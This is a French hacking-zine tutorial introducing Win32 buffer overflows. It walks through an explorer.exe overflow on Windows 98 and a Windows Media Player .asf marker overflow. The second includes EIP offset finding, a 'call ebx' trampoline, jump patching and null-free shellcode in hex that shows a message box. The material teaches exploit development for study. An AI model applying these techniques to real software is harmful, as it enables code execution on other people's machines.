--------------------------------------------------------------------------------------- III. Introduction aux Buffer Overflows Win32 Emper0r --------------------------------------------------------------------------------------- [ Introduction ] Cet article est une petite introduction aux Buffer OverFlow (BoF) sous windows. Même s'il s'adresse aux débutants et que je vais essayer de rappeler quelques bases, il est préférable d'avoir quelques notions de programmation assembleur pour être plus à l'aise. Le buffer overflow, ou débordement de tampon, est l'exploitation "d'une mauvaise" programmation de certains programmes et cela marche aussi bien sur les systemes Unix/linux que Windows. Dans certains cas on peut passer une variable plus grande que l'espace que l'on lui a prévu. Si le programmeur ne fait pas de test sur la longueur de cette variable c'est le plantage ; sous windows on se retrouve avec un message : - "Ce programme va être arrêté car il a effectué une opération non conforme" - Ou alors avec un 'blue screen of death' dans certain cas. Pourquoi ça plante ? Car le reste des données de la variable qui ne sont pas rentrées dans le buffer sont allées écraser des registres du processeur ou alors ont écrasé des donneés importantes dans la mémoire. Nous, ce qui nous arrange, c'est d'écraser EIP. EIP = Intruction Pointer ; ce registre 32 bits indique la prochaine instruction à exécuter. Ce registre ne peut être modifié directement avec une instruction ; seules des instructions de type saut ou 'call', le modifient indirectement). Si l'on met ce que l'on veut dans EIP avec un BoF, on peut faire pointer le micro où l'on veut en memoire. C'est très intéressant, car si notre 'variable' envoyée au programme contient du code exécutable et que l'on fait pointer le micro sur cette 'variable', notre code est exécuté sans que l'utilisateur s'en aperçoive. [ Quelques notions d'assembleur ] Quelques notions juste très vite fait et seulement ce qui peut nous servir pour suivre cet article ; ceux qui ont déjà vu de l'asm peuvent sauter ce passage. Les µp (microprocesseurs) contiennent des registres qui sont des emplacements de mémoire ayant un rôle spécifique: Registres de travail ou registres dit généraux: ----------------------------------------------- EAX, EBX, ECX, EDX : Ce sont des registres à usages multiples ; pour faire simple on va dire qu'ils sont utilisés pour stocker des résultats intermédiaires. Ils peuvent contenir un nombre de 32 bits maximum et sont composés de la façon suivante: ------------------------- | EAX | 32 Bits ------------------------- ------------ | AX | 16 Bits ------------ ------- |AH |AL | 8 Bits ------- Ex: Si EAX = FB1012E0 alors AX=12E0, AH=12, AL=E0 Le registre d'offset EIP ------------------------ Intruction Pointer, ce registre 32 bits indique la prochaine instruction à exécuter. Ce registre ne peut être modifié directement avec une instruction, seules des instructions de type saut ou call, le modifient indirectement. Ex: EIP = BF521235 Chaque instruction exécutée incrémente EIP ; à cette adresse se trouve l'instruction 'call 00401024'. EIP va passer à la valeur 00401024 et le µp va exécuter les instructions en suivant ; cette adresse jusqua ce qu'il rencontre l'instruction 'ret' ; dans ce cas le µp reviendra juste à l'instruction située aprés le 'call 00401024' en BF521235. L'adresse de retour est poussée sur la pile lors de l'exécution du call. Les instructions call servent à appeler des sous-programmes. Les instructions de saut modifient aussi EIP par exemple 'jmp 00401024' amène le µp a exécuter les instructions à cette adresse ; à la différence du "call", le "jmp" ne sauve pas d'adresse de retour. La pile ------- La pile (stack) est un emplacemant ou des données de petites tailles peuvent être placées. Le système employé pour stocker les données obéit au principe lifo (last in first out). Ex1: push eax Met sur la pile la valeur de eax pop eax Met dans EAX la dernière valeur mise sur la pile Ex2: (eax=00000000, ebx=FFFFFFFF) push eax push ebx pop eax pop ebx Après ces 4 instructions on a eax=FFFFFFFF et ebx=00000000 Les API windows --------------- Il y a quelques bonnes explications sur la prog asm et les api dans IOC magazine issue3 (voir: "Programmation Win32asm" par Disk-Lexic). On pousse sur la pile les paramètres nécessaires à l'api et on appelle l'api avec un call. Ex: push 0 ;Handle de la messagebox push offset titre ;Adresse du titre de la fenêtre push offset message ;contenu de la fenêtre push 0 ;Type de message box cal MessageBoxA ;affiche la message box Voilà la petite intro à l'asm est finie :-) c'était vraiment juste un rappel en vrac de certaines choses. On passe à l'action. [ BoF: Exemple1 ] Allez c'est parti pour un petit exemple que tout le monde peut réaliser simplement chez soi :) C'est juste un exemple car ce BoF n'est pas 'vraiment' exploitable je pense ; le texte qui suit me permet d'expliquer de façon assez simple le fonctionnement des BoF. D'abord si vous n'avez pas SI (SoftIce) c'est le moment de l'installer, vous pouvez le télécharger ici: http://linux20368.dn.net/protools/ Il fait dans les 5 ou 6 Mo je crois, les versions win9x et winNt/2000 y sont. Attention celui-ci ne marche pas sous windows XP, pour XP il faut utiliser 'driver studio' de numega aussi, mais là c'est dans les 30 ou 40 Mo et puis c'est plus dur à trouver. Pour windows ME il faut un petit loader pour le faire fonctionner (enfin à mon avis si vous tournez sous WinMe ou winXP, eh bien installez un bon vieux win98se ou mieux un win2000 sp2 !) Je ne vais pas m'attarder ici sur une configuration complexe de SI ; une fois installé rédémarrez le PC (chose habituelle et tres ch***te sous windows), un chtit Ctrl+d et voilà SI s'ouvre, là tapez ces 3 commandes: - code on <--- pour avoir la correspondance entre mnémoniques et code hexa - lines 50 <--- on voit mal sinon - faults on <--- break à la détection d'erreurs windaube, en général cette commande est activée par défaut Pour cet exemple on va prendre un truc tout bête, un problème que contient explorer.exe pour gérer les extensions longues de plus de 129 caractères. Ce BoF est normalement présent sur tous les win9x. (source: http://www.securiteam.com/exploits/5AQ0F000HA.html). Mon test est réaliseé sur un windows 98se tout ce qu'il y a de plus basique, aucun patch d'installé, ni UltimePack. On crée un fichier bidon avec une extension très longue, on ne pas peut le faire sous windows directement mais un petit fichier .bat va nous faire ça très bien. On crée un nouveau fichier .txt où on met dedans: dir *.* > test.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa On enregistre, on renomme le fichier *.txt en *.bat et on lance tout ça. Ce script va créer un fichier contenant la sortie de la commande dir dans le répertoire courant, ce fichier va avoir pour nom test avec une extension très longue. On sélectionne le fichier par un simple click et softice break, kool !!! On regarde les registres et on voit eip = 61616161 :-) Un petit Schéma pour expliquer ça: __________________________________ -Situation courante: [ B U F F E R D E L' E X T E N T I O N D U F I C H I E R ][ E I P ] [txt ][xxxxxxxx] -Situation qui écrase eip: [ B U F F E R D E L' E X T E N T I O N D U F I C H I E R ][ E I P ] [aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...] Dans le dernier exemple la valeur xxxxxxxx de eip est écrasée et est remplacée par des 'a' qui ont pour code ascii 61. Voilà pourquoi EIP = 61616161. Ok c'est bon on va quitter softice avec un petit Ctrl+D, on y reviendra plus tard. On se retouve avec un message windows qui confirme bien notre situation. Ce programme va être arrêté car il a effectué une opération non conforme, bla bla bla ... EXPLORER a causé une défaillance de page dans <--- explorer.exe a planté le module à 00de:61616161. <--- a l'adresse 00de:61616161 c'est sur qu'il ne doit pas y avoir la suite du code prévu à cette adresse, donc plantage. Registres : EAX=61616161 CS=0177 EIP=61616161 EFLGS=00000246 <--- EIP=61616161 ( j'adore :-) ) EBX=80070032 SS=017f ESP=00e4e59c EBP=61616161 <--- la suite on s'en fout un peu ECX=dedbc9a0 DS=017f ESI=02adeff4 FS=2177 EDX=81a06950 ES=017f EDI=5000d030 GS=0000 Octets à CS : EIP : État de la pile : 00006161 00000000 792a1dd8 00000000 00e4e658 70c343df 00e4e67c 00000005 00e4e67c 00e4e658 00e4e658 00000000 00e4ea70 00e4ea18 bff7c4bb 00e4ea70 Bon maitenant on passe à une étape un peu longue et pas toujours très marrante dans l'étude d'un BoF, il faut trouver l'offset (le décalage, l'adresse, l'endroit) où on peut gribouiller EIP :-) Voila comment j'ai procédé, je modifie mon fichier .bat de cette facon: dir *.* > test.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa123456789abcdefghijklm123456789nopqrst Je sélectionne le fichier crée, SI break, je note la valeur de EIP. EIP = 316D6C6B = code ascii de 1mlk (faut inverser l'ordre des octets). Ici EIP = 316D6C6B. Je reprends la fin du nom de l'extension de mon fichier, une table ascii et je regarde: ....1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m 1 2 3 4 5 6 7 8 9 etc..... | | | | code ascii: 6B 6C 6D 31 Voilà je viens de trouver l'offset (l'endroit) où est 'écrasé' EIP. Offset 140 en décimal si j'ai bien compté ;-). Je peut mettre EIP à la valeur que je veux: dir *.* > test.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaXXXXaaaaaaaaaaaaaaa Il suffit de remplacer le code ascii des XXXX par l'adresse que je veux. Mais justement, comment trouver l'adresse qui m'intéresse, celle de mon buffer ? Voici la technique que j'ai utilisé : je reclique sur le fichier qui provoque le BoF, SI break et maintenant je cherche dans les alentours des registres qui n'ont pas été écrasés. Je commence par chercher dans ESP (registre de pointeur pile). Sous SoftIce on tape: d esp - 500 l 500 Cette commande affiche les 500 derniers octets qui se trouvent à esp - 500. Vous pouvez aussi utiliser des softs tels que memory hacker ou memdump qui permettent de faire des recherhes de chaine de caractères en mémoire. On voit très nettement en 012AE10C plein de 'a' c'est le buffer de notre extension de fichier. Chez vous le 012AE10C est très certainement différent. - 1er point déjà très embêtant : pour exploiter ce BoF les adresses ne sont jamais les mêmes et encore plus embêtant aucun des registres ne pointe à aucun endroit de notre buffer :-( On modifie le fichier .bat avec un éditeur hexa pour qu'il nous crée un fichier qui écrasera EIP avec notre valeur 0CE12A01 (encore une fois ne pas oublier la fameuse inversion des octets). - 2eme point très embêtant : ce fichier ne peut être crée car certains codes ascii ne peuvent pas être utilisés dans un nom ou extension de fichier :-( - 3eme point embêtant : notre buffer pour placer du code est vraiment restreint, si on essaie de créer un fichier avec une extension, si je me rappelle bien, de plus de 500 caractères environ, on obtient un message d'erreur et le fichier n'est pas crée. Conclusion de ce premier exemple: Je ne pense pas que ce BoF soit exploitable ; j'ai quand même voulu en parler pour montrer un BoF simple présent dans tout les win9x (c'est vraiment un bof lié a l'os) pas de besoin de télécharger de programme. En expliquant plusieurs exemples on peut aussi voir la diversité que peuvent prendre les BoF et la difficulté pour coder certains exploits. [ BoF: Exemple2 ] Dans ce nouvel exemple je vais parler d'un BoF présent dans le windows media player. Pour réaliser ce BoF on va avoir besoin d'un outil: asfchop.exe, cet outil ce trouve sur le site de Mirco$oft il faut chercher un peu (quel bordel ce site) il fait partie d'une suite d'outils pour travailler les fichiers video: Microsoft Windows Resouce Kit. Ce soft permet d'incorporer des données dans un fichier .asf. Voici le fichier script.txt qui contient les données a insérer dans le fichier .asf start_marker_table 0.0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0.1 IOC RULEZ end_marker_table Pour réaliser cette insertion on utilise 'asfchop' avec la commande suivante: asfchop -in c:\file0.asf -out file1.asf -script c:\script.txt On obtient un joli fichier 'file1.asf'. On le lance avec windows media player, et on s'aperçoit que dessous la barre des boutons play, stop, pause etc.. il y a le titre 'IOC RULEZ' :-) On clicke sur ce titre et la pouum SI surgit immédiatement, kool :) On regarde les registres et on voit que EIP = 41414141 et EBP = 41414141, mais ce qui est le plus intéressant c'est de regarder dans les registres on saperçoit que EBX pointe dans le buffer, vers la fin. Cela va beaucoup nous servir car l'adresse du buffer change tout le temps ce qui fait que l'on ne peut pas donner d'adresse fixe a EIP. Par contre si l'on fait pointer EIP vers un 'call ebx' en memoire on est sûr de tomber sur le buffer à chaque fois. Pour trouver un 'call ebx' je désassemble user32.dll avec wdasm, au moins ça je suis sûr que c'est tout le temps chargé en mémoire pour tous les windows (par contre je ne pense pas que l'adresse va être compatible avec les win 2000/nt/xp ; pour que cela soit compatible il faudrait scanner la memoire à la recherche dun call de ce type). Je trouve le premier call ebx en BFF549D9. Il aurait été biensûr préférable de prendre un call ebx dans le media player pour une meilleure compatibilité malheureusement celui ci n'en comporte pas. L'offset de l'écrasement de EIP est 149 donc à cet offset je mets avec un éditeur hexa le code D9 49 F5 BF (inversion des octets) Je change mon fichier script de cette façon: start_marker_table 0.0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBÙIõ¿AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0.1 IOC ROULAIZE :-) end_marker_table Dans le script le " ÙIõ¿ " correspond aux caractères ascii de BFF549D9; les 4 B avant c'est ce que l'on peut mettre dans EBP. J'ai mis ça pour le fun, ça va pas nous servir. On pose un 'bpx BFF549D9' avec SI ce qui nous permettra de pouvoir suivre ce qui ce passe. On relance le .asf crée avec le nouveau script, click sur le titre, SI break et on se retrouve dans user32.dll sur un call ebx tout va comme prévu. Un petit F8 et je me retrouve dans une série de 'inc ecx' car le code de cette instruction est le code ascii de A ( 41 ). Je suis à l'adresse 0056FA10 il faut que je trouve l'adresse du début du buffer pour y sauter, je remonte dans SI avec "Crtl + flèche-du-haut" et je trouve le début de mon buffer en 0056F885 (les adresses sont certainement différentes chez vous mais on s'en fout vu que l'on n'utilise pas de valeur directe). Je pense que ça mérite un petit schéma du désasemblage de la mémoire pour mieux comprendre tout ça Adresse Code Instruction -------- ---- ----------- 0056F885 41 INC ECX <--- Début de mon buffer 0056F886 41 INC ECX 0056F887 41 INC ECX ........ .. ... ... ........ .. ... ... ........ .. ... ... ........ .. ... ... 0056F9DB 41 INC ECX 0056F9DC DB 49 ESC <--- Les intructions on s'en fout mais 0056F9DE F5 CMC <--- regardez bien le code c'est ici 0056F9DF BF 41 41 41 41 mov edi, 41414141 <--- que l'on gribouille EIP 0056F9E4 41 INC ECX ........ .. ... ... ........ .. ... ... ........ .. ... ... ........ .. ... ... 0056FA0F 41 INC ECX 0056FA10 E9 70 FE FF FF JMP 0056F885 <--- Ce saut permet d'aller au début du buffer afin d'utiliser au mieux 0056FA15 41 INC ECX la place dont on dispose. Récapitulation: _______________ EIP pointe vers un adresse où se trouve un call ebx. Une fois exécuté ce call on se retrouve en 0056FA10 à cette adresse se trouve un saut qui nous ramène au début du buffer. Le buffer où l'on peut mettre le code est partagé en plusieurs parties ; on peut représenter ça de cette façon: 0056F885 Buffer1 ........ ........ ........ Ecrire un saut vers buffer2 0056F9DC EIP 0056F9E0 Buffer2 ........ ........ ........ Ecrire un saut vers buffer3 0056FA10 Saut buffer1 <- On commence ici 0056FA15 Buffer3 ........ ........ ........ Trouver l'offset dans le buffer de ladresse 0056FA10 56FA10 - 56F885 = 18Bh = 395d A l'offset 395 en decimal, on remplace, avec un éditeur hexa, en suivant cinq 41 par E970FEFFFF. E970FEFFFF = code pour le jmp 395 octet en arrière + 5 octet du saut lui même. C'est pas très important, je vais pas faire un cours sur les compléments à 2 et calcul de saut. SI donne le code directement. Il suffit de taper la commande 'a' et de taper l'instruction. Si la commande 'code on' est activée alors SI donne le code directement On va mettre au début du buffer un peu de code pour afficher une messagebox par exemple. Pour afficher une messagebox simple normalement on doit faire: push 00000000 push offset titre push offset message push 00000000 call MessageBoxA Problème ici le code de 'push 00' est '6A00'. Inséré un 00 dans le code d'un exploit de Bof pose toujours un problème. Le 00 est souvent considéré comme la fin de fichier, fin du packet etc... il ne faut pas mettre de 00 dans le code. Il va falloir utiliser de petites astuces pour mettre 0 sur la pile: xor eax, eax push eax Autre problème comme l'adresse du buffer change à chaque fois on ne peut pas utiliser une adresse fixe. Petite astuce avec le registre de pointeur de pile: mov ebp, esp mov [ebp+10], FFFFFFFF Comme ça on n'utilise pas d'adresse directe en plaçant les données sur la pile. Il faut aussi trouver l'adresse des api du kernel La solution la plus simple est de désassembler les dll où se trouvent les apis dont on a besoin : user32.dll pour MessageBoxA ---> BFF5412E kernel32.dll pour ExitProcress ---> BFF8D4F8 Si cette solution est la plus simple, elle est aussi la plus mauvaise car la moins portable sur d'autres systèmes windows (XP, 2000, nt). Les adresses changent suivant les windows pour faire un code bien portable il faut scanner la mémoire à la recherche de ces api ; ce sujet étant long et assez difficile pour les non initiés, j'en parlerai plus tard peut-être dans un article sur l'infection des environnements win32. Bon après tous ces petits détails voici le code pour afficher une MessageBox (libre à vous après de coder ce que vous voulez :) ) 89E5 mov ebp, esp 31C0 xor eax, eax C74501494F4334 mov [ ebp + 01 ], 34434F49 ;4COI 894505 mov dword ptr [ ebp + 05 ], eax ;00 C7450648454C4C mov [ ebp + 06 ], 4C4C4548 ;LLEH C7450A4F20574F mov [ ebp + 0A ], 4F57204F ;OW O C7450E524C4421 mov [ ebp + 0E ], 21444C52 ;!DLR 894512 mov dword ptr [ ebp + 12 ], eax ;00 50 push eax 8D5D01 lea ebx, [ ebp + 1 ] 53 push ebx 8D5D06 lea ebx, [ ebp + 6 ] 53 push ebx 50 push eax E8F930B5BF call MessageBoxA ;call BFF5412E 50 push eax E8BDC4B8BF call ExitProcess ;call BFF8D4F8 Maintenant il ne reste plus qu'à ajouter le code au début de notre buffer et créer le nouveau fichier .asf. Et dès que l'on clique sur le titre ajouté, la MessageBox est exécutée et le media player fermé proprement. [ Conclusion ] Piouf voilà c'est fini enfin :) j'espère que personne ne s'est perdu en route. Vous l'aurez compris les BoF sous windows sont souvent difficiles à exploiter et il est souvent difficile aussi de les faire portables sur un maximum de versions de windows. Moralité : << Rien ne sert de courir il faut savoir fragger à point !!! >>